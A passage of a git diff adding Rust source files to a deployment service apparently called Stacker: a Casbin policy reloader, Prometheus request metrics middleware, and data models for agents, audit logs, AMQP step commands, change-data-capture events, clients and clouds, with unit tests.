.unwrap_or(true) + { + let interval = std::env::var("STACKER_CASBIN_RELOAD_INTERVAL_SECS") + .ok() + .and_then(|value| value.parse::().ok()) + .unwrap_or(10); + start_policy_reloader( + casbin_service.clone(), + policy_pool, + Duration::from_secs(interval), + ); + } + + Ok(casbin_service) +} +fn start_policy_reloader( + casbin_service: CasbinService, + policy_pool: PgPool, + reload_interval: Duration, +) { + // Reload Casbin policies only when the underlying rules change. + tokio::spawn(async move { + let mut ticker = tokio::time::interval(reload_interval); + let mut last_fingerprint: Option<(i64, i64)> = None; + loop { + ticker.tick().await; + match fetch_policy_fingerprint(&policy_pool).await { + Ok(fingerprint) => { + if last_fingerprint.map_or(true, |prev| prev != fingerprint) { + match casbin_service.try_write() { + Ok(mut guard) => { + match timeout(Duration::from_millis(500), guard.load_policy()).await + { + Ok(Ok(())) => { + guard + .get_role_manager() + .write() + .matching_fn(Some(key_match2), None); + debug!("Casbin policies reloaded"); + last_fingerprint = Some(fingerprint); + } + Ok(Err(err)) => { + warn!("Failed to reload Casbin policies: {err:?}"); + } + Err(_) => { + warn!("Casbin policy reload timed out"); + } + } + } + Err(_) => { + warn!("Casbin policy reload skipped (write lock busy)"); + } + } + } + } + Err(err) => warn!("Failed to check Casbin policies: {err:?}"), + } + } + }); +} + +async fn fetch_policy_fingerprint(pool: &PgPool) -> Result<(i64, i64), sqlx::Error> { + let max_id: i64 = sqlx::query_scalar("SELECT COALESCE(MAX(id), 0)::bigint FROM casbin_rule") + .fetch_one(pool) + .await?; + let count: i64 = sqlx::query_scalar("SELECT COUNT(*) FROM casbin_rule") + .fetch_one(pool) + .await?; + Ok((max_id, count)) +} diff --git a/stacker/stacker/src/middleware/mod.rs b/stacker/stacker/src/middleware/mod.rs new file mode 100644 index 0000000..f3c9c45 --- /dev/null +++ b/stacker/stacker/src/middleware/mod.rs @@ -0,0 +1,3 @@ +pub mod authentication; +pub mod authorization; +pub mod prometheus; diff --git a/stacker/stacker/src/middleware/prometheus.rs b/stacker/stacker/src/middleware/prometheus.rs new file mode 100644 index 0000000..9f68ad9 --- /dev/null +++ b/stacker/stacker/src/middleware/prometheus.rs @@ -0,0 +1,101 @@ +use actix_web::dev::{Service, ServiceRequest, ServiceResponse, Transform}; +use futures_util::future::{ok, LocalBoxFuture, Ready}; +use std::task::{Context, Poll}; + +use crate::metrics::{HTTP_REQUESTS_TOTAL, HTTP_REQUEST_DURATION}; + +pub struct PrometheusMetrics; + +impl Transform for PrometheusMetrics +where + S: Service, Error = actix_web::Error> + 'static, + B: 'static, +{ + type Response = ServiceResponse; + type Error = actix_web::Error; + type Transform = PrometheusMetricsMiddleware; + type InitError = (); + type Future = Ready>; + + fn new_transform(&self, service: S) -> Self::Future { + ok(PrometheusMetricsMiddleware { service }) + } +} + +pub struct PrometheusMetricsMiddleware { + service: S, +} + +impl Service for PrometheusMetricsMiddleware +where + S: Service, Error = actix_web::Error> + 'static, + B: 'static, +{ + type Response = ServiceResponse; + type Error = actix_web::Error; + type Future = LocalBoxFuture<'static, Result>; + + fn poll_ready(&self, cx: &mut Context<'_>) -> Poll> { + self.service.poll_ready(cx) + } + + fn call(&self, req: ServiceRequest) -> Self::Future { + let method = req.method().to_string(); + // Normalize path to avoid high-cardinality labels (replace UUIDs with {id}) + let path = normalize_path(req.path()); + let timer = HTTP_REQUEST_DURATION + .with_label_values(&[&method, &path]) + .start_timer(); + + let fut = self.service.call(req); + + Box::pin(async move { + let res = fut.await?; + let status = res.status().as_u16().to_string(); + timer.observe_duration(); + HTTP_REQUESTS_TOTAL + .with_label_values(&[&method, &path, &status]) + .inc(); + Ok(res) + }) + } +} + +/// Replace UUID segments with `{id}` to prevent label explosion. +fn normalize_path(path: &str) -> String { + let uuid_re = regex::Regex::new( + r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", + ) + .expect("invalid regex"); + let numeric_re = regex::Regex::new(r"/\d+(/|$)").expect("invalid regex"); + + let result = uuid_re.replace_all(path, "{id}"); + let result = numeric_re.replace_all(&result, "/{id}$1"); + result.to_string() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_normalize_uuid_path() { + assert_eq!( + normalize_path("/api/v1/pipes/550e8400-e29b-41d4-a716-446655440000/dag/steps"), + "/api/v1/pipes/{id}/dag/steps" + ); + } + + #[test] + fn test_normalize_numeric_path() { + assert_eq!( + normalize_path("/api/v1/projects/42/deploy"), + "/api/v1/projects/{id}/deploy" + ); + } + + #[test] + fn test_normalize_no_ids() { + assert_eq!(normalize_path("/health_check"), "/health_check"); + } +} diff --git a/stacker/stacker/src/models/agent.rs b/stacker/stacker/src/models/agent.rs new file mode 100644 index 0000000..af72a69 --- /dev/null +++ b/stacker/stacker/src/models/agent.rs @@ -0,0 +1,208 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use uuid::Uuid; + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct Agent { + pub id: Uuid, + pub deployment_hash: String, + pub capabilities: Option, + pub version: Option, + pub system_info: Option, + pub last_heartbeat: Option>, + pub status: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl Agent { + pub fn new(deployment_hash: String) -> Self { + Self { + id: Uuid::new_v4(), + deployment_hash, + capabilities: Some(serde_json::json!([])), + version: None, + system_info: Some(serde_json::json!({})), + last_heartbeat: None, + status: "offline".to_string(), + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + pub fn is_online(&self) -> bool { + self.status == "online" + } + + pub fn mark_online(&mut self) { + self.status = "online".to_string(); + self.last_heartbeat = Some(Utc::now()); + self.updated_at = Utc::now(); + } + + pub fn mark_offline(&mut self) { + self.status = "offline".to_string(); + self.updated_at = Utc::now(); + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct AuditLog { + pub id: Uuid, + pub agent_id: Option, + pub deployment_hash: Option, + pub action: String, + pub status: Option, + pub details: serde_json::Value, + pub ip_address: Option, + pub user_agent: Option, + pub created_at: DateTime, +} + +impl AuditLog { + pub fn new( + agent_id: Option, + deployment_hash: Option, + action: String, + status: Option, + ) -> Self { + Self { + id: Uuid::new_v4(), + agent_id, + deployment_hash, + action, + status, + details: serde_json::json!({}), + ip_address: None, + user_agent: None, + created_at: Utc::now(), + } + } + + pub fn with_details(mut self, details: serde_json::Value) -> Self { + self.details = details; + self + } + + pub fn with_ip(mut self, ip: String) -> Self { + self.ip_address = Some(ip); + self + } + + pub fn with_user_agent(mut self, user_agent: String) -> Self { + self.user_agent = Some(user_agent); + self + } +} + +#[cfg(test)] +mod tests { + use super::*; + + // Agent tests + #[test] + fn test_agent_new() { + let agent = Agent::new("deploy-hash-123".to_string()); + assert_eq!(agent.deployment_hash, "deploy-hash-123"); + assert_eq!(agent.status, "offline"); + assert!(agent.last_heartbeat.is_none()); + assert_eq!(agent.capabilities, Some(serde_json::json!([]))); + assert_eq!(agent.system_info, Some(serde_json::json!({}))); + assert!(agent.version.is_none()); + } + + #[test] + fn test_agent_is_online_when_offline() { + let agent = Agent::new("h".to_string()); + assert!(!agent.is_online()); + } + + #[test] + fn test_agent_mark_online() { + let mut agent = Agent::new("h".to_string()); + assert!(!agent.is_online()); + agent.mark_online(); + assert!(agent.is_online()); + assert!(agent.last_heartbeat.is_some()); + } + + #[test] + fn test_agent_mark_offline() { + let mut agent = Agent::new("h".to_string()); + agent.mark_online(); + assert!(agent.is_online()); + agent.mark_offline(); + assert!(!agent.is_online()); + } + + #[test] + fn test_agent_online_offline_cycle() { + let mut agent = Agent::new("h".to_string()); + for _ in 0..3 { + agent.mark_online(); + assert!(agent.is_online()); + agent.mark_offline(); + assert!(!agent.is_online()); + } + } + + // AuditLog tests + #[test] + fn test_audit_log_new() { + let agent_id = Uuid::new_v4(); + let log = AuditLog::new( + Some(agent_id), + Some("hash-1".to_string()), + "deploy".to_string(), + Some("success".to_string()), + ); + assert_eq!(log.agent_id, Some(agent_id)); + assert_eq!(log.deployment_hash, Some("hash-1".to_string())); + assert_eq!(log.action, "deploy"); + assert_eq!(log.status, Some("success".to_string())); + assert_eq!(log.details, serde_json::json!({})); + assert!(log.ip_address.is_none()); + assert!(log.user_agent.is_none()); + } + + #[test] + fn test_audit_log_new_minimal() { + let log = AuditLog::new(None, None, "heartbeat".to_string(), None); + assert!(log.agent_id.is_none()); + assert!(log.deployment_hash.is_none()); + assert!(log.status.is_none()); + } + + #[test] + fn test_audit_log_with_details() { + let log = AuditLog::new(None, None, "test".to_string(), None) + .with_details(serde_json::json!({"error": "timeout"})); + assert_eq!(log.details, serde_json::json!({"error": "timeout"})); + } + + #[test] + fn test_audit_log_with_ip() { + let log = + AuditLog::new(None, None, "test".to_string(), None).with_ip("192.168.1.1".to_string()); + assert_eq!(log.ip_address, Some("192.168.1.1".to_string())); + } + + #[test] + fn test_audit_log_with_user_agent() { + let log = AuditLog::new(None, None, "test".to_string(), None) + .with_user_agent("Mozilla/5.0".to_string()); + assert_eq!(log.user_agent, Some("Mozilla/5.0".to_string())); + } + + #[test] + fn test_audit_log_builder_chaining() { + let log = AuditLog::new(None, None, "test".to_string(), None) + .with_details(serde_json::json!({"key": "value"})) + .with_ip("10.0.0.1".to_string()) + .with_user_agent("curl/7.68".to_string()); + assert_eq!(log.details, serde_json::json!({"key": "value"})); + assert_eq!(log.ip_address, Some("10.0.0.1".to_string())); + assert_eq!(log.user_agent, Some("curl/7.68".to_string())); + } +} diff --git a/stacker/stacker/src/models/agent_audit_log.rs b/stacker/stacker/src/models/agent_audit_log.rs new file mode 100644 index 0000000..66fcc87 --- /dev/null +++ b/stacker/stacker/src/models/agent_audit_log.rs @@ -0,0 +1,29 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Serialize, Deserialize, sqlx::FromRow)] +pub struct AgentAuditLog { + pub id: i64, + pub installation_hash: String, + pub event_type: String, + pub payload: serde_json::Value, + pub status_panel_id: Option, + pub received_at: chrono::DateTime, + pub created_at: chrono::DateTime, +} + +/// One event in an incoming batch from the Status Panel. +#[derive(Debug, Deserialize)] +pub struct AuditBatchItem { + pub id: i64, + pub event_type: String, + pub payload: serde_json::Value, + /// Unix timestamp (seconds) from Status Panel + pub created_at: i64, +} + +/// Batch request body sent by the Status Panel. +#[derive(Debug, Deserialize)] +pub struct AuditBatchRequest { + pub installation_hash: String, + pub events: Vec, +} diff --git a/stacker/stacker/src/models/agent_protocol.rs b/stacker/stacker/src/models/agent_protocol.rs new file mode 100644 index 0000000..be622bf --- /dev/null +++ b/stacker/stacker/src/models/agent_protocol.rs @@ -0,0 +1,263 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use serde_json::Value as JsonValue; +use uuid::Uuid; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Agent Protocol — AMQP message types for step execution +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Command sent from Stacker to agent-executor via AMQP. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct StepCommand { + pub execution_id: Uuid, + pub step_id: Uuid, + pub step_name: String, + pub step_type: String, + pub config: JsonValue, + pub input_data: JsonValue, + pub pipe_instance_id: Uuid, + pub deployment_hash: String, + #[serde(default)] + pub retry_policy: Option, + pub timestamp: DateTime, +} + +/// Result sent from agent-executor back to Stacker via AMQP. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct StepResultMsg { + pub execution_id: Uuid, + pub step_id: Uuid, + pub status: StepStatus, + #[serde(default)] + pub output_data: Option, + #[serde(default)] + pub error: Option, + pub duration_ms: i64, + pub timestamp: DateTime, +} + +/// Retry policy configuration for step execution. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct RetryPolicy { + pub max_retries: u32, + pub backoff_base_ms: u64, + pub backoff_max_ms: u64, +} + +impl Default for RetryPolicy { + fn default() -> Self { + Self { + max_retries: 3, + backoff_base_ms: 1000, + backoff_max_ms: 30_000, + } + } +} + +/// Step execution status. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum StepStatus { + Completed, + Failed, + Skipped, + Running, +} + +impl std::fmt::Display for StepStatus { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Completed => write!(f, "completed"), + Self::Failed => write!(f, "failed"), + Self::Skipped => write!(f, "skipped"), + Self::Running => write!(f, "running"), + } + } +} + +/// AMQP routing constants. +pub mod routing { + pub const EXCHANGE: &str = "pipe_execution"; + pub const EXECUTE_PREFIX: &str = "pipe.step.execute"; + pub const RESULT_PREFIX: &str = "pipe.step.result"; + + pub fn execute_key(deployment_hash: &str) -> String { + format!("{}.{}", EXECUTE_PREFIX, deployment_hash) + } + + pub fn result_key(deployment_hash: &str) -> String { + format!("{}.{}", RESULT_PREFIX, deployment_hash) + } + + pub fn agent_queue(deployment_hash: &str) -> String { + format!("agent_executor_{}", deployment_hash) + } +} + +impl StepCommand { + pub fn new( + execution_id: Uuid, + step_id: Uuid, + step_name: String, + step_type: String, + config: JsonValue, + input_data: JsonValue, + pipe_instance_id: Uuid, + deployment_hash: String, + ) -> Self { + Self { + execution_id, + step_id, + step_name, + step_type, + config, + input_data, + pipe_instance_id, + deployment_hash, + retry_policy: Some(RetryPolicy::default()), + timestamp: Utc::now(), + } + } +} + +impl StepResultMsg { + pub fn success( + execution_id: Uuid, + step_id: Uuid, + output_data: JsonValue, + duration_ms: i64, + ) -> Self { + Self { + execution_id, + step_id, + status: StepStatus::Completed, + output_data: Some(output_data), + error: None, + duration_ms, + timestamp: Utc::now(), + } + } + + pub fn failure(execution_id: Uuid, step_id: Uuid, error: String, duration_ms: i64) -> Self { + Self { + execution_id, + step_id, + status: StepStatus::Failed, + output_data: None, + error: Some(error), + duration_ms, + timestamp: Utc::now(), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn step_command_serde_roundtrip() { + let cmd = StepCommand::new( + Uuid::new_v4(), + Uuid::new_v4(), + "fetch_data".to_string(), + "source".to_string(), + json!({"url": "https://api.example.com/data"}), + json!({}), + Uuid::new_v4(), + "deploy-abc".to_string(), + ); + + let serialized = serde_json::to_string(&cmd).unwrap(); + let deserialized: StepCommand = serde_json::from_str(&serialized).unwrap(); + + assert_eq!(cmd.execution_id, deserialized.execution_id); + assert_eq!(cmd.step_id, deserialized.step_id); + assert_eq!(cmd.step_name, deserialized.step_name); + assert_eq!(cmd.step_type, deserialized.step_type); + assert_eq!(cmd.deployment_hash, deserialized.deployment_hash); + } + + #[test] + fn step_result_success_serde_roundtrip() { + let result = + StepResultMsg::success(Uuid::new_v4(), Uuid::new_v4(), json!({"rows": 42}), 150); + + let serialized = serde_json::to_string(&result).unwrap(); + let deserialized: StepResultMsg = serde_json::from_str(&serialized).unwrap(); + + assert_eq!(result.execution_id, deserialized.execution_id); + assert_eq!(result.status, StepStatus::Completed); + assert_eq!(deserialized.duration_ms, 150); + assert!(deserialized.error.is_none()); + } + + #[test] + fn step_result_failure_serde_roundtrip() { + let result = StepResultMsg::failure( + Uuid::new_v4(), + Uuid::new_v4(), + "connection refused".to_string(), + 500, + ); + + let serialized = serde_json::to_string(&result).unwrap(); + let deserialized: StepResultMsg = serde_json::from_str(&serialized).unwrap(); + + assert_eq!(deserialized.status, StepStatus::Failed); + assert_eq!(deserialized.error.as_deref(), Some("connection refused")); + assert!(deserialized.output_data.is_none()); + } + + #[test] + fn retry_policy_defaults() { + let policy = RetryPolicy::default(); + assert_eq!(policy.max_retries, 3); + assert_eq!(policy.backoff_base_ms, 1000); + assert_eq!(policy.backoff_max_ms, 30_000); + } + + #[test] + fn routing_keys() { + assert_eq!( + routing::execute_key("deploy-abc"), + "pipe.step.execute.deploy-abc" + ); + assert_eq!( + routing::result_key("deploy-abc"), + "pipe.step.result.deploy-abc" + ); + assert_eq!( + routing::agent_queue("deploy-abc"), + "agent_executor_deploy-abc" + ); + } + + #[test] + fn step_status_display() { + assert_eq!(StepStatus::Completed.to_string(), "completed"); + assert_eq!(StepStatus::Failed.to_string(), "failed"); + assert_eq!(StepStatus::Skipped.to_string(), "skipped"); + assert_eq!(StepStatus::Running.to_string(), "running"); + } + + #[test] + fn step_command_without_retry_policy() { + let json_str = r#"{ + "execution_id": "550e8400-e29b-41d4-a716-446655440000", + "step_id": "550e8400-e29b-41d4-a716-446655440001", + "step_name": "test", + "step_type": "source", + "config": {}, + "input_data": {}, + "pipe_instance_id": "550e8400-e29b-41d4-a716-446655440002", + "deployment_hash": "test-hash", + "timestamp": "2026-01-01T00:00:00Z" + }"#; + + let cmd: StepCommand = serde_json::from_str(json_str).unwrap(); + assert!(cmd.retry_policy.is_none()); + } +} diff --git a/stacker/stacker/src/models/agreement.rs b/stacker/stacker/src/models/agreement.rs new file mode 100644 index 0000000..39733a3 --- /dev/null +++ b/stacker/stacker/src/models/agreement.rs @@ -0,0 +1,20 @@ +use chrono::{DateTime, Utc}; +use serde_derive::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Agreement { + pub id: i32, + pub name: String, + pub text: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct UserAgreement { + pub id: i32, + pub agrt_id: i32, + pub user_id: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} diff --git a/stacker/stacker/src/models/cdc.rs b/stacker/stacker/src/models/cdc.rs new file mode 100644 index 0000000..2af4fd8 --- /dev/null +++ b/stacker/stacker/src/models/cdc.rs @@ -0,0 +1,370 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use serde_json::Value as JsonValue; +use uuid::Uuid; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CDC Models — Change Data Capture event types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// A CDC change operation type. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "UPPERCASE")] +pub enum CdcOperation { + Insert, + Update, + Delete, +} + +impl std::fmt::Display for CdcOperation { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Insert => write!(f, "INSERT"), + Self::Update => write!(f, "UPDATE"), + Self::Delete => write!(f, "DELETE"), + } + } +} + +impl CdcOperation { + pub fn from_str(s: &str) -> Option { + match s.to_uppercase().as_str() { + "INSERT" | "I" => Some(Self::Insert), + "UPDATE" | "U" => Some(Self::Update), + "DELETE" | "D" => Some(Self::Delete), + _ => None, + } + } +} + +/// A single CDC change event captured from PostgreSQL WAL. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CdcChangeEvent { + pub event_id: Uuid, + pub source_id: Uuid, + pub schema_name: String, + pub table_name: String, + pub operation: CdcOperation, + /// Row data before the change (UPDATE old values, DELETE full row, INSERT = None). + #[serde(default)] + pub before: Option, + /// Row data after the change (INSERT full row, UPDATE new values, DELETE = None). + #[serde(default)] + pub after: Option, + /// PostgreSQL transaction ID for idempotency. + pub xid: i64, + /// WAL log sequence number for ordering. + pub lsn: String, + pub captured_at: DateTime, +} + +impl CdcChangeEvent { + pub fn new( + source_id: Uuid, + schema_name: String, + table_name: String, + operation: CdcOperation, + before: Option, + after: Option, + xid: i64, + lsn: String, + ) -> Self { + Self { + event_id: Uuid::new_v4(), + source_id, + schema_name, + table_name, + operation, + before, + after, + xid, + lsn, + captured_at: Utc::now(), + } + } + + /// Get the "current" row data (after for INSERT/UPDATE, before for DELETE). + pub fn row_data(&self) -> Option<&JsonValue> { + match self.operation { + CdcOperation::Insert | CdcOperation::Update => self.after.as_ref(), + CdcOperation::Delete => self.before.as_ref(), + } + } + + /// Build a normalized payload suitable for pipe source_data. + pub fn to_pipe_payload(&self) -> JsonValue { + serde_json::json!({ + "event_id": self.event_id.to_string(), + "source_id": self.source_id.to_string(), + "schema": self.schema_name, + "table": self.table_name, + "operation": self.operation, + "before": self.before, + "after": self.after, + "xid": self.xid, + "lsn": self.lsn, + "captured_at": self.captured_at.to_rfc3339(), + }) + } +} + +/// CDC source configuration stored in the database. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CdcSource { + pub id: Uuid, + pub deployment_hash: String, + pub connection_url: String, + pub replication_slot: String, + pub publication_name: String, + /// Tables to monitor: ["public.users", "public.orders"] + pub monitored_tables: Vec, + /// Operations to capture: ["INSERT", "UPDATE", "DELETE"] + pub capture_operations: Vec, + pub status: CdcSourceStatus, + pub last_lsn: Option, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +/// CDC source lifecycle status. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum CdcSourceStatus { + Active, + Paused, + Error, + Deleted, +} + +impl std::fmt::Display for CdcSourceStatus { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Active => write!(f, "active"), + Self::Paused => write!(f, "paused"), + Self::Error => write!(f, "error"), + Self::Deleted => write!(f, "deleted"), + } + } +} + +/// Configuration for a CDC-to-pipe trigger binding. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CdcTriggerConfig { + pub cdc_source_id: Uuid, + pub pipe_template_id: Uuid, + /// Filter by table name (optional — None means all monitored tables). + #[serde(default)] + pub table_filter: Option, + /// Filter by operation (optional — None means all captured operations). + #[serde(default)] + pub operation_filter: Option>, + /// JSONPath condition on the change data (optional). + #[serde(default)] + pub condition: Option, +} + +/// AMQP routing constants for CDC events. +pub mod routing { + pub const CDC_EXCHANGE: &str = "cdc_events"; + pub const CDC_EVENT_PREFIX: &str = "cdc.event"; + + pub fn event_key(table: &str, operation: &str) -> String { + format!( + "{}.{}.{}", + CDC_EVENT_PREFIX, + table, + operation.to_lowercase() + ) + } + + pub fn cdc_queue(deployment_hash: &str) -> String { + format!("cdc_listener_{}", deployment_hash) + } + + pub fn wildcard_key(table: &str) -> String { + format!("{}.{}.#", CDC_EVENT_PREFIX, table) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn cdc_operation_from_str() { + assert_eq!(CdcOperation::from_str("INSERT"), Some(CdcOperation::Insert)); + assert_eq!(CdcOperation::from_str("update"), Some(CdcOperation::Update)); + assert_eq!(CdcOperation::from_str("D"), Some(CdcOperation::Delete)); + assert_eq!(CdcOperation::from_str("I"), Some(CdcOperation::Insert)); + assert_eq!(CdcOperation::from_str("bogus"), None); + } + + #[test] + fn cdc_operation_display() { + assert_eq!(CdcOperation::Insert.to_string(), "INSERT"); + assert_eq!(CdcOperation::Update.to_string(), "UPDATE"); + assert_eq!(CdcOperation::Delete.to_string(), "DELETE"); + } + + #[test] + fn cdc_operation_serde_roundtrip() { + let ops = vec![ + CdcOperation::Insert, + CdcOperation::Update, + CdcOperation::Delete, + ]; + let json_str = serde_json::to_string(&ops).unwrap(); + assert_eq!(json_str, r#"["INSERT","UPDATE","DELETE"]"#); + let deserialized: Vec = serde_json::from_str(&json_str).unwrap(); + assert_eq!(deserialized, ops); + } + + #[test] + fn change_event_serde_roundtrip() { + let event = CdcChangeEvent::new( + Uuid::new_v4(), + "public".to_string(), + "users".to_string(), + CdcOperation::Insert, + None, + Some(json!({"id": 1, "name": "Alice", "email": "alice@test.com"})), + 42, + "0/16B3748".to_string(), + ); + + let serialized = serde_json::to_string(&event).unwrap(); + let deserialized: CdcChangeEvent = serde_json::from_str(&serialized).unwrap(); + + assert_eq!(deserialized.event_id, event.event_id); + assert_eq!(deserialized.table_name, "users"); + assert_eq!(deserialized.operation, CdcOperation::Insert); + assert_eq!(deserialized.xid, 42); + assert!(deserialized.before.is_none()); + assert!(deserialized.after.is_some()); + } + + #[test] + fn change_event_row_data_insert() { + let after = json!({"id": 1}); + let event = CdcChangeEvent::new( + Uuid::new_v4(), + "public".to_string(), + "users".to_string(), + CdcOperation::Insert, + None, + Some(after.clone()), + 1, + "0/1".to_string(), + ); + assert_eq!(event.row_data(), Some(&after)); + } + + #[test] + fn change_event_row_data_update() { + let before = json!({"name": "old"}); + let after = json!({"name": "new"}); + let event = CdcChangeEvent::new( + Uuid::new_v4(), + "public".to_string(), + "users".to_string(), + CdcOperation::Update, + Some(before), + Some(after.clone()), + 2, + "0/2".to_string(), + ); + assert_eq!(event.row_data(), Some(&after)); + } + + #[test] + fn change_event_row_data_delete() { + let before = json!({"id": 1, "name": "Alice"}); + let event = CdcChangeEvent::new( + Uuid::new_v4(), + "public".to_string(), + "users".to_string(), + CdcOperation::Delete, + Some(before.clone()), + None, + 3, + "0/3".to_string(), + ); + assert_eq!(event.row_data(), Some(&before)); + } + + #[test] + fn change_event_to_pipe_payload() { + let event = CdcChangeEvent::new( + Uuid::new_v4(), + "public".to_string(), + "orders".to_string(), + CdcOperation::Insert, + None, + Some(json!({"id": 99, "total": 150.0})), + 10, + "0/ABC".to_string(), + ); + let payload = event.to_pipe_payload(); + assert_eq!(payload["table"], "orders"); + assert_eq!(payload["schema"], "public"); + assert_eq!(payload["operation"], "INSERT"); + assert_eq!(payload["xid"], 10); + assert!(payload["after"].is_object()); + assert!(payload["before"].is_null()); + } + + #[test] + fn cdc_source_status_display() { + assert_eq!(CdcSourceStatus::Active.to_string(), "active"); + assert_eq!(CdcSourceStatus::Paused.to_string(), "paused"); + assert_eq!(CdcSourceStatus::Error.to_string(), "error"); + assert_eq!(CdcSourceStatus::Deleted.to_string(), "deleted"); + } + + #[test] + fn cdc_routing_keys() { + assert_eq!( + routing::event_key("users", "INSERT"), + "cdc.event.users.insert" + ); + assert_eq!( + routing::event_key("orders", "DELETE"), + "cdc.event.orders.delete" + ); + assert_eq!(routing::cdc_queue("deploy-xyz"), "cdc_listener_deploy-xyz"); + assert_eq!(routing::wildcard_key("users"), "cdc.event.users.#"); + } + + #[test] + fn cdc_trigger_config_serde() { + let config = CdcTriggerConfig { + cdc_source_id: Uuid::new_v4(), + pipe_template_id: Uuid::new_v4(), + table_filter: Some("users".to_string()), + operation_filter: Some(vec![CdcOperation::Insert, CdcOperation::Update]), + condition: Some(json!({"field": "amount", "operator": "gt", "value": 100})), + }; + + let serialized = serde_json::to_string(&config).unwrap(); + let deserialized: CdcTriggerConfig = serde_json::from_str(&serialized).unwrap(); + + assert_eq!(deserialized.table_filter, Some("users".to_string())); + assert_eq!( + deserialized.operation_filter, + Some(vec![CdcOperation::Insert, CdcOperation::Update]) + ); + } + + #[test] + fn cdc_trigger_config_minimal() { + let json_str = r#"{ + "cdc_source_id": "550e8400-e29b-41d4-a716-446655440000", + "pipe_template_id": "550e8400-e29b-41d4-a716-446655440001" + }"#; + let config: CdcTriggerConfig = serde_json::from_str(json_str).unwrap(); + assert!(config.table_filter.is_none()); + assert!(config.operation_filter.is_none()); + assert!(config.condition.is_none()); + } +} diff --git a/stacker/stacker/src/models/chat.rs b/stacker/stacker/src/models/chat.rs new file mode 100644 index 0000000..4243973 --- /dev/null +++ b/stacker/stacker/src/models/chat.rs @@ -0,0 +1,13 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use uuid::Uuid; + +#[derive(Debug, Serialize, Deserialize, sqlx::FromRow)] +pub struct ChatConversation { + pub id: Uuid, + pub user_id: String, + pub project_id: Option, + pub messages: serde_json::Value, + pub created_at: DateTime, + pub updated_at: DateTime, +} diff --git a/stacker/stacker/src/models/client.rs b/stacker/stacker/src/models/client.rs new file mode 100644 index 0000000..d91369b --- /dev/null +++ b/stacker/stacker/src/models/client.rs @@ -0,0 +1,71 @@ +use serde::Serialize; + +#[derive(Default, Serialize)] +pub struct Client { + pub id: i32, + pub user_id: String, + pub secret: Option, +} + +impl std::fmt::Debug for Client { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + let secret: String = match self.secret.as_ref() { + Some(val) => val.chars().take(4).collect::() + "****", + None => "".to_string(), + }; + + write!( + f, + "Client {{id: {:?}, user_id: {:?}, secret: {}}}", + self.id, self.user_id, secret + ) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_client_debug_masks_secret() { + let client = Client { + id: 1, + user_id: "user1".to_string(), + secret: Some("mysecretvalue".to_string()), + }; + let debug = format!("{:?}", client); + assert!(debug.contains("myse****")); + assert!(!debug.contains("mysecretvalue")); + assert!(debug.contains("user1")); + } + + #[test] + fn test_client_debug_no_secret() { + let client = Client { + id: 2, + user_id: "user2".to_string(), + secret: None, + }; + let debug = format!("{:?}", client); + assert!(debug.contains("user2")); + } + + #[test] + fn test_client_debug_short_secret() { + let client = Client { + id: 3, + user_id: "u".to_string(), + secret: Some("ab".to_string()), + }; + let debug = format!("{:?}", client); + assert!(debug.contains("ab****")); + } + + #[test] + fn test_client_default() { + let client = Client::default(); + assert_eq!(client.id, 0); + assert_eq!(client.user_id, ""); + assert!(client.secret.is_none()); + } +} diff --git a/stacker/stacker/src/models/cloud.rs b/stacker/stacker/src/models/cloud.rs new file mode 100644 index 0000000..e3c6541 --- /dev/null +++ b/stacker/stacker/src/models/cloud.rs @@ -0,0 +1,192 @@ +use chrono::{DateTime, Utc}; +use serde_derive::{Deserialize, Serialize}; + +#[derive(Clone, PartialEq, Serialize, Deserialize)] +pub struct Cloud { + pub id: i32, + pub user_id: String, + pub name: String, + pub provider: String, + pub cloud_token: Option, + pub cloud_key: Option, + pub cloud_secret: Option, + pub save_token: 